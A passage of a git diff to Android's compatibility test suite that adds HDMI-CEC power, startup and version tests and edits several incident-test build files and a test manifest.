+     * Tests that a device comes enters the standby state when it receives a {@code <User Control
+     * Pressed>} message with power related operands.
+     */
+    @Test
+    public void cect_hf4_6_10_userControlPressed_powerOff() throws Exception {
+        ITestDevice device = getDevice();
+        List<Integer> powerControlOperands = Arrays.asList(
+                HdmiCecConstants.CEC_CONTROL_POWER_OFF_FUNCTION,
+                HdmiCecConstants.CEC_CONTROL_POWER_TOGGLE_FUNCTION);
+
+        LogicalAddress source = mDutLogicalAddress == LogicalAddress.TV ? LogicalAddress.PLAYBACK_1
+                : LogicalAddress.TV;
+
+        for (Integer operand : powerControlOperands) {
+            try {
+                device.executeShellCommand("input keyevent KEYCODE_WAKEUP");
+                TimeUnit.SECONDS.sleep(WAIT_TIME);
+                String wakeStateBefore = device.executeShellCommand(
+                        "dumpsys power | grep mWakefulness=");
+                assertThat(wakeStateBefore.trim()).isEqualTo("mWakefulness=Awake");
+
+                hdmiCecClient.sendUserControlPressAndRelease(source, mDutLogicalAddress, operand,
+                        false);
+
+                TimeUnit.SECONDS.sleep(WAIT_TIME);
+                String wakeStateAfter = device.executeShellCommand(
+                        "dumpsys power | grep mWakefulness=");
+                assertWithMessage("Device should go to standby on <User Control Pressed> %s",
+                        operand)
+                        .that(wakeStateAfter.trim()).isEqualTo("mWakefulness=Asleep");
+            } finally {
+                device.executeShellCommand("input keyevent KEYCODE_WAKEUP");
+            }
+        }
+    }
 }
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecStartupTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecStartupTest.java
new file mode 100644
index 0000000..0644d64
--- /dev/null
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecStartupTest.java
@@ -0,0 +1,87 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hdmicec.cts.common;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import static org.junit.Assume.assumeTrue;
+
+import android.hdmicec.cts.BaseHdmiCecCtsTest;
+import android.hdmicec.cts.CecOperand;
+import android.hdmicec.cts.HdmiCecConstants;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import com.google.common.collect.ImmutableList;
+
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.RuleChain;
+import org.junit.runner.RunWith;
+
+import java.util.List;
+import java.util.stream.Collectors;
+
+/**
+ * HDMI CEC tests verifying CEC messages sent after startup (CEC 2.0 CTS Section 7.5)
+ */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public final class HdmiCecStartupTest extends BaseHdmiCecCtsTest {
+
+    private static final ImmutableList<CecOperand> necessaryMessages =
+            new ImmutableList.Builder<CecOperand>()
+                    .add(CecOperand.REPORT_PHYSICAL_ADDRESS)
+                    .add(CecOperand.REPORT_FEATURES)
+                    .build();
+    @Rule
+    public RuleChain ruleChain =
+            RuleChain
+                    .outerRule(CecRules.requiresCec(this))
+                    .around(CecRules.requiresLeanback(this))
+                    .around(hdmiCecClient);
+
+    /**
+     * CEC 2.0 CTS 7.5.
+     *
+     * Verifies that {@code <Report Features>} and {@code <Report Physical Address>} are sent at
+     * device startup.
+     * Verifies that both messages are sent in the given order.
+     */
+    @Test
+    public void cectVerifyStartupMessages() throws Exception {
+        ITestDevice device = getDevice();
+        setCec20();
+
+        device.executeShellCommand("reboot");
+        device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
+        /* Monitor CEC messages for 20s after reboot */
+        final List<CecOperand> messagesReceived =
+                hdmiCecClient.getAllMessages(mDutLogicalAddress, 20);
+
+        List<CecOperand> requiredMessages = messagesReceived.stream()
+                .filter(necessaryMessages::contains)
+                .collect(Collectors.toList());
+
+        assertWithMessage("Some necessary messages are missing").that(requiredMessages).hasSize(
+                necessaryMessages.size());
+        assertWithMessage("Expected <Report Features> first").that(
+                requiredMessages.get(0)).isEqualTo(CecOperand.REPORT_FEATURES);
+        assertWithMessage("Expected <Report Physical Address> last").that(
+                requiredMessages.get(1)).isEqualTo(CecOperand.REPORT_PHYSICAL_ADDRESS);
+    }
+}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemInformationTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemInformationTest.java
index e6bd499..c520030 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemInformationTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemInformationTest.java
@@ -16,13 +16,14 @@
 
 package android.hdmicec.cts.common;
 
+import static android.hdmicec.cts.HdmiCecConstants.TIMEOUT_SAFETY_MS;
+
 import static com.google.common.truth.Truth.assertThat;
 
-
 import android.hdmicec.cts.BaseHdmiCecCtsTest;
-import android.hdmicec.cts.CecClientMessage;
 import android.hdmicec.cts.CecMessage;
 import android.hdmicec.cts.CecOperand;
+import android.hdmicec.cts.HdmiCecConstants;
 import android.hdmicec.cts.LogicalAddress;
 
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -39,9 +40,6 @@
 @RunWith(DeviceJUnit4ClassRunner.class)
 public final class HdmiCecSystemInformationTest extends BaseHdmiCecCtsTest {
 
-    /** The version number 0x05 refers to CEC v1.4 */
-    private static final int CEC_VERSION_NUMBER = 0x05;
-
     @Rule
     public RuleChain ruleChain =
             RuleChain
@@ -50,20 +48,6 @@
                     .around(hdmiCecClient);
 
     /**
-     * Test 11.2.6-1
-     * Tests for Ack {@code <Polling Message>} message.
-     */
-    @Test
-    public void cect_11_2_6_1_Ack() throws Exception {
-        String command = CecClientMessage.POLL + " " + mDutLogicalAddress;
-        String expectedOutput = "POLL sent";
-        hdmiCecClient.sendConsoleMessage(command);
-        if (!hdmiCecClient.checkConsoleOutput(expectedOutput)) {
-            throw new Exception("Could not find " + expectedOutput);
-        }
-    }
-
-    /**
      * Tests 11.2.6-2, 10.1.1.1-1
      *
      * <p>Tests that the device sends a {@code <Report Physical Address>} in response to a {@code
@@ -94,16 +78,95 @@
     }
 
     /**
+     * Tests {@code <Report Features>}
+     *
+     * <p>Tests that the device reports the correct information in {@code <Report Features>} in
+     * response to a {@code <Give Features>} message.
+     */
+    @Test
+    public void cect_reportFeatures_deviceTypeContainedInAllDeviceTypes() throws Exception {
+        setCec20();
+        List<LogicalAddress> testDevices =
+                Arrays.asList(
+                        LogicalAddress.TV,
+                        LogicalAddress.RECORDER_1,
+                        LogicalAddress.TUNER_1,
+                        LogicalAddress.PLAYBACK_1,
+                        LogicalAddress.AUDIO_SYSTEM,
+                        LogicalAddress.BROADCAST);
+        for (LogicalAddress testDevice : testDevices) {
+            if (testDevice == mDutLogicalAddress) {
+                /* Skip the DUT logical address */
+                continue;
+            }
+            hdmiCecClient.sendCecMessage(testDevice, CecOperand.GIVE_FEATURES);
+            String message = hdmiCecClient.checkExpectedOutput(CecOperand.REPORT_FEATURES);
+            int receivedParams = CecMessage.getParams(message, 2, 4);
+
+            int deviceType = 0;
+            switch (mDutLogicalAddress.getDeviceType()) {
+                case HdmiCecConstants.CEC_DEVICE_TYPE_PLAYBACK_DEVICE:
+                    deviceType = 1 << 4;
+                    break;
+                case HdmiCecConstants.CEC_DEVICE_TYPE_TV:
+                    deviceType = 1 << 7;
+                    break;
+                case HdmiCecConstants.CEC_DEVICE_TYPE_AUDIO_SYSTEM:
+                    deviceType = 1 << 3;
+                    break;
+                case HdmiCecConstants.CEC_DEVICE_TYPE_RECORDER:
+                    deviceType = 1 << 6;
+                    break;
+                case HdmiCecConstants.CEC_DEVICE_TYPE_TUNER:
+                    deviceType = 1 << 5;
+                    break;
+                case HdmiCecConstants.CEC_DEVICE_TYPE_RESERVED:
+                    break;
+            }
+
+            assertThat(receivedParams & deviceType).isNotEqualTo(1);
+        }
+    }
+
+    /**
      * Test 11.2.6-6
      * Tests that the device sends a {@code <CEC Version>} in response to a {@code <Get CEC
      * Version>}
      */
     @Test
     public void cect_11_2_6_6_GiveCecVersion() throws Exception {
+        int cecVersion = HdmiCecConstants.CEC_VERSION_1_4;
+
         hdmiCecClient.sendCecMessage(hdmiCecClient.getSelfDevice(), CecOperand.GET_CEC_VERSION);
         String message =
                 hdmiCecClient.checkExpectedOutput(
                         hdmiCecClient.getSelfDevice(), CecOperand.CEC_VERSION);
-        assertThat(CecMessage.getParams(message)).isEqualTo(CEC_VERSION_NUMBER);
+        assertThat(CecMessage.getParams(message)).isEqualTo(cecVersion);
+    }
+
+    /**
+     * Test HF4-2-12
+     * Tests that the device sends a {@code <CEC Version>} with correct version argument in
+     * response to a {@code <Get CEC Version>} message.
+     *
+     * Also verifies that the CEC version reported in {@code <Report Features>} matches the CEC
+     * version reported in {@code <CEC Version>}.
+     */
+    @Test
+    public void cect_hf4_2_12_GiveCecVersion() throws Exception {
+        int cecVersion = HdmiCecConstants.CEC_VERSION_2_0;
+        setCec20();
+
+        hdmiCecClient.sendCecMessage(hdmiCecClient.getSelfDevice(), CecOperand.GET_CEC_VERSION);
+        String reportCecVersion = hdmiCecClient.checkExpectedOutput(hdmiCecClient.getSelfDevice(),
+                CecOperand.CEC_VERSION);
+        assertThat(CecMessage.getParams(reportCecVersion)).isEqualTo(cecVersion);
+
+        Thread.sleep(TIMEOUT_SAFETY_MS);
+
+        hdmiCecClient.sendCecMessage(hdmiCecClient.getSelfDevice(), CecOperand.GIVE_FEATURES);
+        String reportFeatures = hdmiCecClient.checkExpectedOutput(LogicalAddress.BROADCAST,
+                CecOperand.REPORT_FEATURES);
+        assertThat(CecMessage.getParams(reportFeatures, 2)).isEqualTo(cecVersion);
     }
 }
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemInformationTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemInformationTest.java
index 893a58e..77a94d4 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemInformationTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemInformationTest.java
@@ -77,8 +77,9 @@
     }
 
     private boolean isLanguageEditable() throws Exception {
-        String val = getDevice().executeShellCommand("getprop ro.hdmi.set_menu_language");
-        return val.trim().equals("true") ? true : false;
+        String val = getDevice().executeShellCommand(
+                "getprop ro.hdmi.cec.source.set_menu_language.enabled");
+        return val.trim().equals("true");
     }
 
     private static String extractLanguage(String locale) {
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecTvPowerToggleTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecTvPowerToggleTest.java
new file mode 100644
index 0000000..20921a1
--- /dev/null
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecTvPowerToggleTest.java
@@ -0,0 +1,177 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hdmicec.cts.playback;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.hdmicec.cts.BaseHdmiCecCtsTest;
+import android.hdmicec.cts.CecMessage;
+import android.hdmicec.cts.CecOperand;
+import android.hdmicec.cts.HdmiCecClientWrapper;
+import android.hdmicec.cts.HdmiCecConstants;
+import android.hdmicec.cts.LogicalAddress;
+import android.hdmicec.cts.RequiredPropertyRule;
+import android.hdmicec.cts.RequiredFeatureRule;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Rule;
+import org.junit.rules.RuleChain;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+import static android.hdmicec.cts.HdmiCecConstants.TIMEOUT_SAFETY_MS;
+
+import java.util.concurrent.TimeUnit;
+
+/**
+ * HDMI CEC test to verify TV power toggle behavior
+ */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public final class HdmiCecTvPowerToggleTest extends BaseHdmiCecCtsTest {
+
+    private static final int ON = 0x0;
+    private static final int OFF = 0x1;
+
+    private static final LogicalAddress PLAYBACK_DEVICE = LogicalAddress.PLAYBACK_1;
+    private static final String POWER_CONTROL_MODE =
+            "hdmi_control_send_standby_on_sleep";
+    @Rule
+    public RuleChain ruleChain =
+            RuleChain
+                    .outerRule(CecRules.requiresCec(this))
+                    .around(CecRules.requiresLeanback(this))
+                    .around(CecRules.requiresDeviceType(this, LogicalAddress.PLAYBACK_1))
+                    .around(hdmiCecClient);
+
+    public HdmiCecTvPowerToggleTest() {
+        super(LogicalAddress.PLAYBACK_1);
+    }
+
+    private String setPowerControlMode(String valToSet) throws Exception {
+        ITestDevice device = getDevice();
+        String val = device.executeShellCommand("settings get global " +
+                POWER_CONTROL_MODE).trim();
+        device.executeShellCommand("settings put global "
+                + POWER_CONTROL_MODE + " " + valToSet);
+        return val;
+    }
+
+    /**
+     * Tests that KEYCODE_TV_POWER functions as a TV power toggle.
+     * Device is awake and not active source. TV is on.
+     */
+    @Test
+    public void cectTvPowerToggleTest_awake_noActiveSource_tvOn() throws Exception {
+        ITestDevice device = getDevice();
+        // Make sure the device is not booting up/in standby
+        device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
+        String previousPowerControlMode = setPowerControlMode("to_tv");
+        try {
+            hdmiCecClient.sendCecMessage(LogicalAddress.TV, LogicalAddress.BROADCAST,
+                    CecOperand.ACTIVE_SOURCE, CecMessage.formatParams("0000"));
+            Thread.sleep(TIMEOUT_SAFETY_MS);
+            device.executeShellCommand("input keyevent KEYCODE_TV_POWER");
+            hdmiCecClient.checkExpectedOutput(LogicalAddress.TV, CecOperand.GIVE_POWER_STATUS);
+            hdmiCecClient.sendCecMessage(LogicalAddress.TV, PLAYBACK_DEVICE,
+                    CecOperand.REPORT_POWER_STATUS, CecMessage.formatParams(ON));
+            // Verify that device is asleep and <Standby> was sent to TV.
+            hdmiCecClient.checkExpectedOutput(LogicalAddress.TV, CecOperand.STANDBY);
+            String wakeState = device.executeShellCommand("dumpsys power | grep mWakefulness=");
+            assertThat(wakeState.trim()).isEqualTo("mWakefulness=Asleep");
+        } finally {
+            setPowerControlMode(previousPowerControlMode);
+        }
+    }
+
+    /**
+     * Tests that KEYCODE_TV_POWER functions as a TV power toggle.
+     * Device is awake and active source. TV is on.
+     */
+    @Test
+    public void cectTvPowerToggleTest_awake_activeSource_tvOn() throws Exception {
+        ITestDevice device = getDevice();
+        // Make sure the device is not booting up/in standby
+        device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
+        String previousPowerControlMode = setPowerControlMode("to_tv");
+        try {
+            device.executeShellCommand("input keyevent KEYCODE_HOME");
+            device.executeShellCommand("input keyevent KEYCODE_TV_POWER");
+            hdmiCecClient.checkExpectedOutput(LogicalAddress.TV, CecOperand.GIVE_POWER_STATUS);
+            hdmiCecClient.sendCecMessage(LogicalAddress.TV, PLAYBACK_DEVICE,
+                    CecOperand.REPORT_POWER_STATUS, CecMessage.formatParams(ON));
+            // Verify that device is asleep and <Standby> was sent to TV.
+            hdmiCecClient.checkExpectedOutput(LogicalAddress.TV, CecOperand.STANDBY);
+            String wakeState = device.executeShellCommand("dumpsys power | grep mWakefulness=");
+            assertThat(wakeState.trim()).isEqualTo("mWakefulness=Asleep");
+        } finally {
+            setPowerControlMode(previousPowerControlMode);
+        }
+    }
+
+    /**
+     * Tests that KEYCODE_TV_POWER functions as a TV power toggle.
+     * Device is asleep. TV is on.
+     */
+    @Test
+    public void cectTvPowerToggleTest_asleep_tvOn() throws Exception {
+        ITestDevice device = getDevice();
+        // Make sure the device is not booting up/in standby
+        device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
+        String previousPowerControlMode = setPowerControlMode("to_tv");
+        try {
+            device.executeShellCommand("input keyevent KEYCODE_SLEEP");
+            device.executeShellCommand("input keyevent KEYCODE_TV_POWER");
+            hdmiCecClient.checkExpectedOutput(LogicalAddress.TV, CecOperand.GIVE_POWER_STATUS);
+            hdmiCecClient.sendCecMessage(LogicalAddress.TV, PLAYBACK_DEVICE,
+                    CecOperand.REPORT_POWER_STATUS, CecMessage.formatParams(ON));
+            // Verify that device is asleep and <Standby> was sent to TV.
+            hdmiCecClient.checkExpectedOutput(LogicalAddress.TV, CecOperand.STANDBY);
+            String wakeState = device.executeShellCommand("dumpsys power | grep mWakefulness=");
+            assertThat(wakeState.trim()).isEqualTo("mWakefulness=Asleep");
+        } finally {
+            setPowerControlMode(previousPowerControlMode);
+        }
+    }
+
+    /**
+     * Tests that KEYCODE_TV_POWER functions as a TV power toggle.
+     * Device is asleep. TV is off.
+     */
+    @Test
+    public void cectTvPowerToggleTest_asleep_tvOff() throws Exception {
+        ITestDevice device = getDevice();
+        // Make sure the device is not booting up/in standby
+        device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
+        String previousPowerControlMode = setPowerControlMode("to_tv");
+        try {
+            device.executeShellCommand("input keyevent KEYCODE_SLEEP");
+            device.executeShellCommand("input keyevent KEYCODE_TV_POWER");
+            hdmiCecClient.checkExpectedOutput(LogicalAddress.TV, CecOperand.GIVE_POWER_STATUS);
+            hdmiCecClient.sendCecMessage(LogicalAddress.TV, PLAYBACK_DEVICE,
+                    CecOperand.REPORT_POWER_STATUS, CecMessage.formatParams(OFF));
+            // Verify that device is awake and <Text View On> and <Active Source> were sent.
+            hdmiCecClient.checkExpectedOutput(LogicalAddress.TV, CecOperand.TEXT_VIEW_ON);
+            hdmiCecClient.checkExpectedOutput(LogicalAddress.BROADCAST, CecOperand.ACTIVE_SOURCE);
+            String wakeState = device.executeShellCommand("dumpsys power | grep mWakefulness=");
+            assertThat(wakeState.trim()).isEqualTo("mWakefulness=Awake");
+        } finally {
+            setPowerControlMode(previousPowerControlMode);
+        }
+    }
+}
\ No newline at end of file
diff --git a/hostsidetests/incident/Android.bp b/hostsidetests/incident/Android.bp
index 0e97a61..932948e 100644
--- a/hostsidetests/incident/Android.bp
+++ b/hostsidetests/incident/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsIncidentHostTestCases",
     srcs: ["src/**/*.java"],
diff --git a/hostsidetests/incident/apps/batterystatsapp/Android.bp b/hostsidetests/incident/apps/batterystatsapp/Android.bp
index 96f6c37..5110288 100644
--- a/hostsidetests/incident/apps/batterystatsapp/Android.bp
+++ b/hostsidetests/incident/apps/batterystatsapp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsBatteryStatsApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsAlarmTest.java b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsAlarmTest.java
index 9b6c23f..206edb6 100644
--- a/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsAlarmTest.java
+++ b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsAlarmTest.java
@@ -64,7 +64,7 @@
         for (int i = 0; i < NUM_ALARMS; i++) {
             alm.setExact(AlarmManager.ELAPSED_REALTIME_WAKEUP,
                     SystemClock.elapsedRealtime() + (i + 1) * 1000,
-                    PendingIntent.getBroadcast(context, i, intent, 0));
+                    PendingIntent.getBroadcast(context, i, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED));
         }
         assertTrue("Didn't receive all broadcasts.", latch.await(60 * 1000, TimeUnit.SECONDS));
     }
diff --git a/hostsidetests/incident/apps/boundwidgetapp/Android.bp b/hostsidetests/incident/apps/boundwidgetapp/Android.bp
index 3b3b1d8..7ee158f 100644
--- a/hostsidetests/incident/apps/boundwidgetapp/Android.bp
+++ b/hostsidetests/incident/apps/boundwidgetapp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsAppWidgetApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/incident/apps/boundwidgetapp/AndroidManifest.xml b/hostsidetests/incident/apps/boundwidgetapp/AndroidManifest.xml
index 9825d5c..e2b1268 100644
--- a/hostsidetests/incident/apps/boundwidgetapp/AndroidManifest.xml
+++ b/hostsidetests/incident/apps/boundwidgetapp/AndroidManifest.xml
@@ -16,34 +16,36 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-  package="android.appwidget.cts">
+     package="android.appwidget.cts">
 
     <application>
 
       <uses-library android:name="android.test.runner"/>
 
-      <receiver android:name="android.appwidget.cts.provider.FirstAppWidgetProvider" >
+      <receiver android:name="android.appwidget.cts.provider.FirstAppWidgetProvider"
+           android:exported="true">
           <intent-filter>
-              <action android:name="android.appwidget.action.APPWIDGET_UPDATE" />
+              <action android:name="android.appwidget.action.APPWIDGET_UPDATE"/>
           </intent-filter>
           <meta-data android:name="android.appwidget.provider"
-              android:resource="@xml/appwidget_info" />
+               android:resource="@xml/appwidget_info"/>
       </receiver>
 
-      <receiver android:name="android.appwidget.cts.provider.SecondAppWidgetProvider" >
+      <receiver android:name="android.appwidget.cts.provider.SecondAppWidgetProvider"
+           android:exported="true">
           <intent-filter>
-              <action android:name="android.appwidget.action.APPWIDGET_UPDATE" />
+              <action android:name="android.appwidget.action.APPWIDGET_UPDATE"/>
           </intent-filter>
           <meta-data android:name="android.appwidget.provider"
-              android:resource="@xml/appwidget_info" />
+               android:resource="@xml/appwidget_info"/>
       </receiver>
 
   </application>
 
   <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-      android:targetPackage="android.appwidget.cts"
-      android:label="CTS Tests for the dumpsys protobuf protocol">
+       android:targetPackage="android.appwidget.cts"
+       android:label="CTS Tests for the dumpsys protobuf protocol">
       <meta-data android:name="listener"
-          android:value="com.android.cts.runner.CtsTestRunListener" />
+           android:value="com.android.cts.runner.CtsTestRunListener"/>
   </instrumentation>
 </manifest>
diff --git a/hostsidetests/incident/apps/errorsapp/Android.bp b/hostsidetests/incident/apps/errorsapp/Android.bp
index bdd7ff1..b21bd93 100644
--- a/hostsidetests/incident/apps/errorsapp/Android.bp
+++ b/hostsidetests/incident/apps/errorsapp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsErrorsApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/incident/apps/errorsapp/jni/Android.bp b/hostsidetests/incident/apps/errorsapp/jni/Android.bp
index ca61922..2e7e1f0 100644
--- a/hostsidetests/incident/apps/errorsapp/jni/Android.bp
+++ b/hostsidetests/incident/apps/errorsapp/jni/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test_library {
     name: "libcrash-jni",
     srcs: ["crash-jni.c"],
diff --git a/hostsidetests/incident/apps/graphicsstatsapp/Android.bp b/hostsidetests/incident/apps/graphicsstatsapp/Android.bp
index d8d6b9b..5ca33a8 100644
--- a/hostsidetests/incident/apps/graphicsstatsapp/Android.bp
+++ b/hostsidetests/incident/apps/graphicsstatsapp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsGraphicsStatsApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/incident/apps/notificationsapp/Android.bp b/hostsidetests/incident/apps/notificationsapp/Android.bp
index 581c5b9..06f15e4 100644
--- a/hostsidetests/incident/apps/notificationsapp/Android.bp
+++ b/hostsidetests/incident/apps/notificationsapp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsNotificationIncidentTestApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/incident/apps/procstatsapp/Android.bp b/hostsidetests/incident/apps/procstatsapp/Android.bp
index 8b8daec..51b567b 100644
--- a/hostsidetests/incident/apps/procstatsapp/Android.bp
+++ b/hostsidetests/incident/apps/procstatsapp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsProcStatsProtoApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/incident/src/com/android/server/cts/AlarmManagerIncidentTest.java b/hostsidetests/incident/src/com/android/server/cts/AlarmManagerIncidentTest.java
deleted file mode 100644
index 8093dc3..0000000
--- a/hostsidetests/incident/src/com/android/server/cts/AlarmManagerIncidentTest.java
+++ /dev/null
@@ -1,219 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.server.cts;
-
-import com.android.server.AlarmClockMetadataProto;
-import com.android.server.AlarmManagerServiceDumpProto;
-import com.android.server.AlarmProto;
-import com.android.server.BatchProto;
-import com.android.server.BroadcastStatsProto;
-import com.android.server.ConstantsProto;
-import com.android.server.FilterStatsProto;
-import com.android.server.AppStateTrackerProto;
-import com.android.server.AppStateTrackerProto.RunAnyInBackgroundRestrictedPackages;
-import com.android.server.IdleDispatchEntryProto;
-import com.android.server.InFlightProto;
-import com.android.server.WakeupEventProto;
-import java.util.List;
-
-/**
- * Test to check that the alarm manager service properly outputs its dump state.
- */
-public class AlarmManagerIncidentTest extends ProtoDumpTestCase {
-    public void testAlarmManagerServiceDump() throws Exception {
-        final AlarmManagerServiceDumpProto dump =
-                getDump(AlarmManagerServiceDumpProto.parser(), "dumpsys alarm --proto");
-
-        verifyAlarmManagerServiceDumpProto(dump, PRIVACY_NONE);
-    }
-
-    static void verifyAlarmManagerServiceDumpProto(AlarmManagerServiceDumpProto dump, final int filterLevel) throws Exception {
-        // Times should be positive.
-        assertTrue(0 < dump.getCurrentTime());
-        assertTrue(0 < dump.getElapsedRealtime());
-        // Can be 0 if the time hasn't been changed yet.
-        assertTrue(0 <= dump.getLastTimeChangeClockTime());
-        assertTrue(0 <= dump.getLastTimeChangeRealtime());
-
-        // ConstantsProto
-        ConstantsProto settings = dump.getSettings();
-        assertTrue(0 < settings.getMinFuturityDurationMs());
-        assertTrue(0 < settings.getMinIntervalDurationMs());
-        assertTrue(0 < settings.getListenerTimeoutDurationMs());
-        assertTrue(0 < settings.getAllowWhileIdleShortDurationMs());
-        assertTrue(0 < settings.getAllowWhileIdleLongDurationMs());
-        assertTrue(0 < settings.getAllowWhileIdleWhitelistDurationMs());
-
-        // AppStateTrackerProto
-        AppStateTrackerProto appStateTracker = dump.getAppStateTracker();
-        for (int uid : appStateTracker.getForegroundUidsList()) {
-            // 0 is technically a valid UID.
-            assertTrue(0 <= uid);
-        }
-        for (int aid : appStateTracker.getPowerSaveWhitelistAppIdsList()) {
-            assertTrue(0 <= aid);
-        }
-        for (int aid : appStateTracker.getTempPowerSaveWhitelistAppIdsList()) {
-            assertTrue(0 <= aid);
-        }
-        for (RunAnyInBackgroundRestrictedPackages r : appStateTracker.getRunAnyInBackgroundRestrictedPackagesList()) {
-            assertTrue(0 <= r.getUid());
-        }
-
-        if (!dump.getIsInteractive()) {
-            // These are only valid if is_interactive is false.
-            assertTrue(0 < dump.getTimeSinceNonInteractiveMs());
-            assertTrue(0 < dump.getMaxWakeupDelayMs());
-            assertTrue(0 < dump.getTimeSinceLastDispatchMs());
-            // time_until_next_non_wakeup_delivery_ms could be negative if the delivery time is in the past.
-        }
-
-        assertTrue(0 < dump.getTimeUntilNextWakeupMs());
-        assertTrue(0 < dump.getTimeSinceLastWakeupMs());
-        assertTrue(0 < dump.getTimeSinceLastWakeupSetMs());
-        assertTrue(0 <= dump.getTimeChangeEventCount());
-
-        for (int aid : dump.getDeviceIdleUserWhitelistAppIdsList()) {
-            assertTrue(0 <= aid);
-        }
-
-        // AlarmClockMetadataProto
